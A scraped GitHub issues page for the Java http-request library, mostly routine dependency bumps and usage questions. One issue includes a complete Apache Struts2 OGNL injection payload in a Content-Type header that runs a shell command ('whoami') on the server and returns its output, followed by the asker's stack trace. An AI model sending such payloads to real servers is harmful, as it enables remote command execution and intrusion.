http-request
http-request copied to clipboard
Java HTTP Request Library
Bumps [jetty-server](https://github.com/eclipse/jetty.project) from 8.1.9.v20130131 to 10.0.10. Release notes Sourced from jetty-server's releases. 10.0.10 Special Thanks to the following Eclipse Jetty community members @jianglai (Lai Jiang) @markslater (markslater) @prenagha (Padraic Renaghan)...
If a parameter value contains the character # when using the method post(), the information after the character # is lost
How to add a pkcs12 (*.pfx) certificate to authenticate in request?
String danmuku = new HttpRequest(new URL("http://comment.bilibili.com/11296309.xml"), HttpRequest.METHOD_GET).body(); the "danmuku" was a messy code, what is the right access to fetch the file correctly?
[Caching Dependencies and Directories](https://docs.travis-ci.com/user/caching/) Travis CI can cache content that does not often change, to speed up the build process. ===================== If there are any inappropriate modifications in this PR,...
when response use HTTP/2.0 or HTTP/2, can't get body\code correctly. It seems that the JDK don't support HTTP2. I have try same code with JDK8 and JDK16, both show errors....
Is there a way to call custom HTTP methods like `SUBSCRIBE`, `NOTIFY` with this?
Bumps [jetty-servlets](https://github.com/eclipse/jetty.project) from 8.1.9.v20130131 to 9.4.41.v20210516. Release notes Sourced from jetty-servlets's releases. 9.4.41.v20210516 Changelog This release resolves CVE-2021-28169 #6099 Cipher preference may break SNI if certificates have different key types...
Hello everyone I get error 407 when I request to google or other https sites that use basic proxy for example here: ```java HttpRequest httpRequest = HttpRequest.post ("https://google.com"); httpRequest.useProxy ("proxyhost",...
Request ``` HttpRequest.post("http://127.0.0.1:8080").header("Content-Type","%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}").body(); ``` Response Exception: ``` Exception in thread "main" com.github.kevinsawicki.http.HttpRequest$HttpRequestException: java.io.IOException: Premature EOF at com.github.kevinsawicki.http.HttpRequest$Operation.call(HttpRequest.java:717) at com.github.kevinsawicki.http.HttpRequest.copy(HttpRequest.java:2626) at com.github.kevinsawicki.http.HttpRequest.body(HttpRequest.java:1764) at com.github.kevinsawicki.http.HttpRequest.body(HttpRequest.java:1779) at com.aresx.javakiller.core.cmd.PayloadTest.main(PayloadTest.java:29) Caused by: java.io.IOException: Premature...